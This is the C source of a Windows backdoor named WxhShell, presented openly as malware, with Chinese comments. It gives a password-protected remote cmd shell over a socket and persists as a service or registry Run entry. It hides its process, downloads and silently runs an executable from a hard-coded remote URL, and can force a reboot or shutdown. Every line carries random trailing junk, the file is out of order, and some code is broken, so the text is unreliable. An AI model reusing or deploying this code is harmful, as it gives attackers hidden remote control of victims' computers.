    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @ T.+:U@S  
    if(Boot(SHUTDOWN)) `;j@v8n$*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HQkK8'\LP  
    else { nh XVc((  
    closesocket(wsh); jw5ldC>U  
    ExitThread(0); 'G>$W+lT^  
    } i0}f@pCB?X  
    break; E .N@qMn~  
    } Oa.84a  
  // 获取shell VW`SqUl  
  case 's': { WuuF &0?8C  
    CmdShell(wsh); B6kc9XG  
    closesocket(wsh); g1kYL$o4  
    ExitThread(0); %T6 sm  
    break; ,A%p9  
  } OLS/3c z  
  // 退出 X aE;i57$l  
  case 'x': { ;kD UQw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \>$3'i=mQ  
    CloseIt(wsh); rP{Jep!  
    break; P,J+'.@  
    } Y_zMj`HE  
  // 离开 xovsh\s  
  case 'q': { MxgJ+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O!G!Gq&  
    closesocket(wsh); zm!M'|~@7  
    WSACleanup(); 4`e[gvh  
    exit(1); q6'Q-e)  
    break; lrjVD(R=g  
        } :%-w/QwTR  
  } ~pT1,1  
  } }el7@Gv  
E1j3c :2  
  // 提示信息 bWgRGJqt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X5pb9zRq  
} uG$*DeZti  
  } $35C1"  
)b?$ 4<X^  
  return; uv=a}U;  
} \Up~ "q>Kb  
b4qMTRnv  
// shell模块句柄  j iejs*  
int CmdShell(SOCKET sock) S6g_$ Q7  
{ ?$K.*])e  
STARTUPINFO si; eDsB.^|l  
ZeroMemory(&si,sizeof(si)); B[3u,<opFU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jp;]dyU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4/ WKR3X  
PROCESS_INFORMATION ProcessInfo; /\{emE\]  
char cmdline[]="cmd"; IeZ9 "o h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A$M8w9  
  return 0; O dbXna  
} ff;~k?L  
esiU._:u  
// 自身启动模式 D0Mxl?S?  
int StartFromService(void) &,P; 7R  
{ a&2UDl%K  
typedef struct [vY#9W"!  
{ 5Gs>rq" #  
  DWORD ExitStatus; [D+,I1u2h  
  DWORD PebBaseAddress; fGd1  
  DWORD AffinityMask; ppo0DC\>  
  DWORD BasePriority; )@ofczl6  
  ULONG UniqueProcessId; jddhX]>I  
  ULONG InheritedFromUniqueProcessId; q3v v^~  
}   PROCESS_BASIC_INFORMATION; n2 can  
>F>VlRg  
PROCNTQSIP NtQueryInformationProcess; riL|B 3  
DcNp-X40I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kY?tUpM!TB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .{t*v6(TP  
:>iN#)S  
  HANDLE             hProcess; Z3yy(D>*  
  PROCESS_BASIC_INFORMATION pbi; #*q]^Is"  
nG";?TT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q*Y-@lZ  
  if(NULL == hInst ) return 0; :c|Om{;  
GM8Q#vc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H| _@9V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?YMBZ   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p+8o'dl8=  
IG{ lr  
  if (!NtQueryInformationProcess) return 0; 'A>?aUq]:  
nU' qE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DS;\24>H  
  if(!hProcess) return 0; }L(ZLt8Q  
Y0Tad?iC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a4.w2GR  
n"`V| UTHP  
  CloseHandle(hProcess); gD51N()s,  
R[14scV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P z~jW):E  
if(hProcess==NULL) return 0; L2p?] :-  
064k;|>D  
HMODULE hMod; oNIYO*[  
char procName[255]; $E&T6=Wn  
unsigned long cbNeeded; F3qCtx *N  
/* qx5$~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZY8w1:'  
tkH]_cH'w  
  CloseHandle(hProcess); g^Hf^%3xP  
qTK(sW  
if(strstr(procName,"services")) return 1; // 以服务启动 UWnF2,<s;  
/7])]vZ_  
  return 0; // 注册表启动 Ka6u*:/  
} I`(53LCqo  
8{=|<  
// 主模块 O PzudO  
int StartWxhshell(LPSTR lpCmdLine) 4D2U,Ds  
{ OX'V  
  SOCKET wsl; 78{9@\e"0  
BOOL val=TRUE; 4BUG\~eI3  
  int port=0; ?Wz2J3A.2t  
  struct sockaddr_in door; 2GORGS%  
"{r8'qn  
  if(wscfg.ws_autoins) Install(); 4b[bj").A  
%L^(eTi[  
port=atoi(lpCmdLine); h]h"-3  
zBl L98  
if(port<=0) port=wscfg.ws_port; q01 L{~>bz  
;py9,Wno  
  WSADATA data; @!=Ds'MJC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E a&NJ]& g  
{f\wIZ-K A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L {P'mG=4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p:TE##  
  door.sin_family = AF_INET; YHO}z}f[!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zj!,3{jX^  
  door.sin_port = htons(port); p @kRo#~l  
$cIaLq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A"ATtid  
closesocket(wsl); =y-yHRC7  
return 1; .SjJG67OyA  
} F \ls]luN  
"D8WdV(  
  if(listen(wsl,2) == INVALID_SOCKET) { r :$tvT*  
closesocket(wsl); \?]U*)B.r  
return 1; &:5*^1oP  
} >t)Pcf|s  
  Wxhshell(wsl); C 2nmSXV  
  WSACleanup(); lHtywZ@%3  
rbnAC*y8'L  
return 0; QK?V^E  
r@}`Sw]@  
} t 86w&  
>vp4R`  
// 以NT服务方式启动 LT<2 n.S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )M.s<Y  
{ x;)I%c  
DWORD   status = 0; e,epKtL  
  DWORD   specificError = 0xfffffff;  u&#>)h  
']TWWwj$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P4q5#r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u+Ix''Fn#%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dkz% Y]  
  serviceStatus.dwWin32ExitCode     = 0; wv\K  
  serviceStatus.dwServiceSpecificExitCode = 0; g%l ,a3"  
  serviceStatus.dwCheckPoint       = 0; 'o6}g p)  
  serviceStatus.dwWaitHint       = 0; ",3v%$ >  
I{OizBom  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); beBG40  
  if (hServiceStatusHandle==0) return; kW)3naUf<  
}ofb]_C,  
status = GetLastError(); g}v](Q  
  if (status!=NO_ERROR) l<w7 \a6  
{ j{OA%G(I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]5jS6 @Vl*  
    serviceStatus.dwCheckPoint       = 0; KR#,6  
    serviceStatus.dwWaitHint       = 0; ":$4/b6  
    serviceStatus.dwWin32ExitCode     = status; s-#EV  
    serviceStatus.dwServiceSpecificExitCode = specificError; q4[8\Ua  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {6H[[7i  
    return; }lIc{R@H  
  } V*b/N  
*sOb I(&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3~T ~Bs  
  serviceStatus.dwCheckPoint       = 0; ekvs3a^  
  serviceStatus.dwWaitHint       = 0; B^/MwD>%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fr/EkL1Dl  
} ):'wxIVGI  
86OrJdD8  
// 处理NT服务事件,比如:启动、停止 U;#KFZ+~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3A!a7]fW  
{ >O?WRC B  
switch(fdwControl) `Y:]&w  
{ 5P\>$N1p  
case SERVICE_CONTROL_STOP: w\acgQ^%e  
  serviceStatus.dwWin32ExitCode = 0; 7. <jdp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a2B71RT~  
  serviceStatus.dwCheckPoint   = 0; 6ieul@?*u*  
  serviceStatus.dwWaitHint     = 0; [*^.$s(  
  { 3<&:av3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E xhih^[_  
  } MvpJ0Y (  
  return; RG{T\9]n  
case SERVICE_CONTROL_PAUSE: 9s^$tgH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Nu6NyYs  
  break; ?Z 2,?G  
case SERVICE_CONTROL_CONTINUE: d5l42^Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Uw("+[5O0  
  break; zbxW U]<S?  
case SERVICE_CONTROL_INTERROGATE: _=~u\$  
  break; TI DgIK  
}; vW=-RTRH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'hjEd.  
} h.X4x2(.  
Jj\4P1|'7  
// 标准应用程序主函数 euB1}M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H7X-\K 1w  
{ $\BYN=#  
@ !P2f   
// 获取操作系统版本 <2U@O` gC  
OsIsNt=GetOsVer(); {KWVPeh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G1z*e.+y  
2'?'dfj  
  // 从命令行安装 23):OB>S`  
  if(strpbrk(lpCmdLine,"iI")) Install(); !G3AD3  
gsyOf*Q$  
  // 下载执行文件 n{;Q"\*Sg  
if(wscfg.ws_downexe) { 0#8   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i\6CE|  
  WinExec(wscfg.ws_filenam,SW_HIDE); DEZww9T2Qs  
} \EfX3ghPI  
49MEGl;K0\  
if(!OsIsNt) { F"] P|   
// 如果时win9x,隐藏进程并且设置为注册表启动 ~(V\.hq  
HideProc(); G]>yk_#/\U  
StartWxhshell(lpCmdLine); zL yI|%KH  
} )$n%4 :  
else Ljd`)+`D  
  if(StartFromService()) |/gt;H~:  
  // 以服务方式启动 U=G49 ~E  
  StartServiceCtrlDispatcher(DispatchTable); ]j3>=Jb;  
else 13s/m&  
  // 普通方式启动 w ~*@TG  
  StartWxhshell(lpCmdLine); H.ZIRt !RB  
^&?,L@fW  
return 0; gyvrQ, u  
} ,0! 2x"Q=  
v1:.t  
+yP!7]  
BD C DQ  
=========================================== %)lp]Y33  
3IMvtg  
[ \_o_W  
:.x(( FU  
"|8oFf)l@B  
 aO&U=!  
" U>PZ3  
kG>jb!e@(  
#include <stdio.h> ;MS.ag#  
#include <string.h> ZQfxlzj+X  
#include <windows.h> @N Yl4N  
#include <winsock2.h> \(Sly&gL  
#include <winsvc.h> x?wvS]EBg  
#include <urlmon.h> H3rA ?F#+*  
=p@`bx  
#pragma comment (lib, "Ws2_32.lib") XZ%,h  
#pragma comment (lib, "urlmon.lib") ]rlZP1".  
^~H}N$W"-q  
#define MAX_USER   100 // 最大客户端连接数 eg;7BZim{  
#define BUF_SOCK   200 // sock buffer Fv~lasW[  
#define KEY_BUFF   255 // 输入 buffer _RIU,uJs  
p1KhI;^  
#define REBOOT     0   // 重启 DU!T#H7  
#define SHUTDOWN   1   // 关机 '3l TI  
B#V""[Y9  
#define DEF_PORT   5000 // 监听端口 dOeM0_o  
>G5aFk  
#define REG_LEN     16   // 注册表键长度 yvB]rz} i  
#define SVC_LEN     80   // NT服务名长度 yzS^8,  
=d{6=2Pt  
// 从dll定义API 4zMvHe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [bh?p+V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 40kAGs>_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i6if\B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G)7U &B  
60+zoL'  
// wxhshell配置信息 6^b)Q(Edut  
struct WSCFG { 64/ZfXD  
  int ws_port;         // 监听端口 *O_fw 0jV  
  char ws_passstr[REG_LEN]; // 口令 *$eH3nn6g  
  int ws_autoins;       // 安装标记, 1=yes 0=no O)dnr8*  
  char ws_regname[REG_LEN]; // 注册表键名 uuY^Q;^I*  
  char ws_svcname[REG_LEN]; // 服务名 =<n ]T;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 & BPYlfB1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d1D f`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DN2 ]Y'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s>>&3jfM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (e7!p=D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d {!P c<  
, /.@([C  
}; T~]~'+<Pi  
{xTq5`&gT  
// default Wxhshell configuration %> XsKXj  
struct WSCFG wscfg={DEF_PORT, |*{*tW C1  
    "xuhuanlingzhe", O\=Z;}<N  
    1, F1yn@a "=J  
    "Wxhshell", eQ>Ur2H8n  
    "Wxhshell", ^Hn}\5  
            "WxhShell Service", 'NtI bS  
    "Wrsky Windows CmdShell Service", `jE[Xt"@  
    "Please Input Your Password: ", .Pm5nS  
  1, UXct+l  
  "http://www.wrsky.com/wxhshell.exe", .\XRkr'-  
  "Wxhshell.exe" ]K(a32VCH  
    }; ,j%\3g`  
QEJu.o  
// 消息定义模块 oZ%uq78#[%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &hWELZe0vv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b-& rMML  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iE'_x$i  
char *msg_ws_ext="\n\rExit."; lju5+0BSb  
char *msg_ws_end="\n\rQuit."; 2y!n c%  
char *msg_ws_boot="\n\rReboot..."; Ij#mmj NW  
char *msg_ws_poff="\n\rShutdown..."; { I{ 0rV  
char *msg_ws_down="\n\rSave to "; wiN0|h>,  
>j?5?J"  
char *msg_ws_err="\n\rErr!"; ;dzy 5o3  
char *msg_ws_ok="\n\rOK!"; !BoGSI  
\g34YY^L3  
char ExeFile[MAX_PATH]; )g:5}+  
int nUser = 0; mV^w|x  
HANDLE handles[MAX_USER]; M XG>|  
int OsIsNt; o26Y }W  
0C<\m\|~k  
SERVICE_STATUS       serviceStatus; 85E$m'0O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vU>^  
0fqcPi  
// 函数声明 q'jOI_b  
int Install(void); ei= 4u'  
int Uninstall(void); j3sz"(  
int DownloadFile(char *sURL, SOCKET wsh); ?AFb&  
int Boot(int flag); }U7IMONU  
void HideProc(void); b~.$1oZ  
int GetOsVer(void); ) 9Q+07  
int Wxhshell(SOCKET wsl); ,kJ'_mq  
void TalkWithClient(void *cs); ,l&?%H9q  
int CmdShell(SOCKET sock);  P@O_MT  
int StartFromService(void); =i)%AnZ^9  
int StartWxhshell(LPSTR lpCmdLine); \92M\S  
q{9vY:`[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NO*, }aeG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u$JAjA  
"Da 1BuX\  
// 数据结构和表定义 T, #-: }  
SERVICE_TABLE_ENTRY DispatchTable[] = Vg$d|m${  
{ E]#;K-j  
{wscfg.ws_svcname, NTServiceMain}, <J^5l0)q  
{NULL, NULL} \6 \bD<  
}; L\4rvZa  
8O^x~[sQ  
// 自我安装 >M5}L<  
int Install(void) f,O10`4s  
{ J^"_H:1[  
  char svExeFile[MAX_PATH]; *9n[ #2sM<  
  HKEY key; C@-Hm  
  strcpy(svExeFile,ExeFile); 8>x5|  
[],[LkS  
// 如果是win9x系统,修改注册表设为自启动 EeYL~ORdi  
if(!OsIsNt) { CAc]SxLh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AON |b\?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~?NCmU=3  
  RegCloseKey(key); 8ve-g\C8 H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v o:KL%)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >"/TiQt  
  RegCloseKey(key); vJ0v6\  
  return 0; B>i%:[-e  
    } G4i%/_JU  
  } bm;iX*~  
} $@VJ@JAe  
else { i7dDklj4  
,.Ofv):=  
// 如果是NT以上系统,安装为系统服务 E]q>ggeNH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `6rLd>=R  
if (schSCManager!=0) 0/~p1SSun  
{ [ &Wy $  
  SC_HANDLE schService = CreateService Y's=31G@  
  ( }P2*MrkcHB  
  schSCManager, 0-p^o A  
  wscfg.ws_svcname, Ow-ejo  
  wscfg.ws_svcdisp, lz=DGm  
  SERVICE_ALL_ACCESS, pKLcg"{[F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W<<G  'Km  
  SERVICE_AUTO_START, 6`9QGi,)  
  SERVICE_ERROR_NORMAL, pRfKlTU\  
  svExeFile, UusAsezm:  
  NULL, VsA_x  
  NULL, $idToOkw  
  NULL, ]Z[3 \~?  
  NULL, UL ew ~j  
  NULL U$D:gZ  
  ); *`OXgkQ  
  if (schService!=0) R.|h<bur  
  { @yGnrfr  
  CloseServiceHandle(schService); !o| ex+z;  
  CloseServiceHandle(schSCManager); f.ua,,P.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -~.+3rcZ]  
  strcat(svExeFile,wscfg.ws_svcname); tic3a1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j&DlI_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kX V  
  RegCloseKey(key); jYU0zGpj  
  return 0; FBNi (D  
    } ]oix))'n  
  } i8<5|du&?  
  CloseServiceHandle(schSCManager); oi Q3E  
} i.9}bw 9u@  
} ';eAaDM  
.dzw5R&  
return 1; 5@.8O VPz  
} nILUo2e~  
6+sz4  
// 自我卸载 |vi=h2*  
int Uninstall(void) ?z`yNx6  
{ v*excl~  
  HKEY key; KXTk.\c  
L^^f.w#m  
if(!OsIsNt) { "j%Gr :a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y+S<?8pA  
  RegDeleteValue(key,wscfg.ws_regname); \.P'8As  
  RegCloseKey(key); (O ;R~Io  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0Wd5s{S  
  RegDeleteValue(key,wscfg.ws_regname); F\+9u$=  
  RegCloseKey(key); #5;4O{  
  return 0; gd3MP^O1  
  } / pe.?Zd  
} /L,iF?7  
} \(Dm\7Q.  
else { $xvwnbq#y  
-XECYwTh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +L?;g pVE&  
if (schSCManager!=0) = r=/L  
{ B%Oi1bO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Uwiy@ T Z  
  if (schService!=0) I-s$U T[p  
  { e,vgD kI;  
  if(DeleteService(schService)!=0) { <O9WCl  
  CloseServiceHandle(schService); cL %eP.  
  CloseServiceHandle(schSCManager);  ">|L<  
  return 0; Qm3 RXO  
  } W*c^(W  
  CloseServiceHandle(schService); 1%.CtTi  
  } ~O;?;@  
  CloseServiceHandle(schSCManager); %|}7YH41  
} l5e`m^GK  
} IxG0TJ_  
Qe[ai?iJkt  
return 1; k:s86q  
} -% B)+yq>  
k<*1mS8  
// 从指定url下载文件 ,J*#Ixe}  
int DownloadFile(char *sURL, SOCKET wsh) a;7gy419<p  
{ blV'-Al  
  HRESULT hr; d#,   
char seps[]= "/"; TGPdi5Eq  
char *token; iaJN~m\ M  
char *file; ;f3))x  
char myURL[MAX_PATH]; #"-w;T%b  
char myFILE[MAX_PATH]; 1eqFMf  
'\7&Iz:%  
strcpy(myURL,sURL); +Y~,1ai 5^  
  token=strtok(myURL,seps); 'vIVsv<p  
  while(token!=NULL) T7G{)wm  
  { 6l?KX  
    file=token; >*w(YB]/$V  
  token=strtok(NULL,seps); d cht8nX7~  
  } 5PHAd4=bJ  
wd:SBU~f5*  
GetCurrentDirectory(MAX_PATH,myFILE); vP<8 ,XG  
strcat(myFILE, "\\"); \]/ 6>yT  
strcat(myFILE, file); j|% C?N  
  send(wsh,myFILE,strlen(myFILE),0); G_p13{"IM  
send(wsh,"...",3,0); \U`rF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C"}]PW  
  if(hr==S_OK) /Bnh%6#ab  
return 0; IW|1)8d  
else yw?UA  
return 1; +QrbW  
9/GC8*+  
}  - zEQ/6  
W$Z""  
// 系统电源模块 ?6^KY+ 5`C  
int Boot(int flag) *O-si%@]  
{ Y6%O9b  
  HANDLE hToken; gJn_8\,C>Q  
  TOKEN_PRIVILEGES tkp; c;7ekj  
D #twS  
  if(OsIsNt) { I'uRXvEr7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DCtrTX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8J7<7Sx  
    tkp.PrivilegeCount = 1; d 'wWj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T xwZ3E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s2+s1%^Ll  
if(flag==REBOOT) { H"g p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,e>N9\*  
  return 0; (OK;*ZH+T@  
} G0h7MO%x  
else { bl B00   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4[]4KKO3Q2  
  return 0; @xtfm.}  
} au1(.(  
  } C@ z^{Z+  
  else { \xaK?_hv  
if(flag==REBOOT) { g*#.yC1/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g TP0:  
  return 0; aq,?  
} RnkrI~x  
else { xBcE>^{1.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X6@G)68  
  return 0; Ik|nL#JH]  
} E>SLR8!C v  
} PM%Gsy]q  
wN!5[N"  
return 1; !n/"39KT  
} S-6 %mYf  
:u53zX[v  
// win9x进程隐藏模块 Q<pL5[00fD  
void HideProc(void) 6jtnH'E/  
{ Ol]+l]  
{^ ^)bf|1'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @ (A[H^E  
  if ( hKernel != NULL ) 2^7VDqLc  
  { "o[j'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #}!Ge  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c`&<"Us  
    FreeLibrary(hKernel); ON=6w_  
  } Hi<5jl  
"M.vu}~>  
return; &De&ZypU  
} <Cw)S8t  
4HK#]M>yz  
// 获取操作系统版本 ceR zHq=  
int GetOsVer(void) Ol'Ct'_k,"  
{ r6`v-TY(/  
  OSVERSIONINFO winfo; poYO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <OEu 4,~:  
  GetVersionEx(&winfo); ?8Hr 9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !8U\GR `  
  return 1; .pOTIRbA  
  else ^i^/d#  
  return 0; 0Y9\,y_  
} Iw$7f kq  
V1j5jjck  
// 客户端句柄模块 qJN2\e2~f  
int Wxhshell(SOCKET wsl) <x),HTJ  
{ z\8Kz ]n~  
  SOCKET wsh; F\Gi;6a  
  struct sockaddr_in client; : )\<  
  DWORD myID; $>;U^-#3  
PI#xRKt  
  while(nUser<MAX_USER) _$?SKid|o  
{ /gKX%`ZF/r  
  int nSize=sizeof(client); !(soMv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ["\Y-6"l  
  if(wsh==INVALID_SOCKET) return 1; iii2nmiK  
q(J3fjY)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nDS mr  
if(handles[nUser]==0) (JHL0Z/  
  closesocket(wsh); 0BM3:]=wr  
else H1>}E5^?  
  nUser++; ~ b ;%J:  
  } v'*#P7%Kf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g,!6, v@  
^[SQw)*  
  return 0; N4Z%8:"pj  
} spV/+jy{  
9 BPucXK  
// 关闭 socket #AzZ4<;7  
void CloseIt(SOCKET wsh) 2#:h.8  
{ 7W6tz\Y  
closesocket(wsh); $4y;F]  
nUser--; $e7dE$eH  
ExitThread(0); !PI& y  
} eEkF Zx  
EC2KK)=n}  
// 客户端请求句柄 s HSZIkB-r  
void TalkWithClient(void *cs) {mK=Vig  
{ ?A /+DRQ(  
wG4=[d  
  SOCKET wsh=(SOCKET)cs; QcGyuS.B  
  char pwd[SVC_LEN]; 1;R1Fj&  
  char cmd[KEY_BUFF]; V6Y:l9  
char chr[1]; $UAmUQg)}_  
int i,j; CxC&+';  
LoQm&3/  
  while (nUser < MAX_USER) { #N?EPV$  
xZ} 1dq8  
if(wscfg.ws_passstr) { vl8Ums} +  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SNB >  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J)iy6{0"  
  //ZeroMemory(pwd,KEY_BUFF); WhsTKy&E  
      i=0; Rw\ LVRdA  
  while(i<SVC_LEN) { p `)(  
E-_FxBw  
  // 设置超时 mYf7?I~  
  fd_set FdRead; wIIxs_2Q0c  
  struct timeval TimeOut; r<38; a  
  FD_ZERO(&FdRead); E=.4(J7K  
  FD_SET(wsh,&FdRead); w%&lCu@v  
  TimeOut.tv_sec=8; _Kg:jal  
  TimeOut.tv_usec=0; j()<.h;'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rYbb&z!u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SyFO f  
g<VJ4TE6R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )>$@cH  
  pwd=chr[0]; u;m[,  
  if(chr[0]==0xd || chr[0]==0xa) { IP K.  
  pwd=0; ^~k2(DLk  
  break; @bQf =N+  
  } /(Se:jH$>  
  i++; %]Gm  
    } wiXdb[[#  
8_6\>hW&  
  // 如果是非法用户,关闭 socket pZx'%-\-T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $bRakF1'S  
} )'BuRN8  
w~A{]s{ 4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fJ_d ,4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I6d4<#Q@L  
48JD >=@7  
while(1) { #I jG[a-  
GE]cH6E  
  ZeroMemory(cmd,KEY_BUFF); fX=o,=-f  
ZtPq */'  
      // 自动支持客户端 telnet标准   yES+0D5<  
  j=0; E^a He  
  while(j<KEY_BUFF) { C=& 7V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ) # le|Rf  
  cmd[j]=chr[0]; pZ?7'+u$L  
  if(chr[0]==0xa || chr[0]==0xd) { ~wmc5L/!?  
  cmd[j]=0; :uE:mY%R  
  break; #'N"<o[  
  } RHc63b\  
  j++; #gzY _)E  
    } [;3` Aw  
jdsNZV  
  // 下载文件 =c 3;@CO  
  if(strstr(cmd,"http://")) { Ww&~ZZZ {  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8.4 1EKr2  
  if(DownloadFile(cmd,wsh)) !P X`sIkT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ##~";j  
  else `wRQ-<Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &eYnO~$!  
  } 1oq5|2p  
  else { tJ>|t hk  
 II;fBcXF  
    switch(cmd[0]) { / 4P+  
  Gq_rZo(@  
  // 帮助 $xRZU9+  
  case '?': { 56k89o  
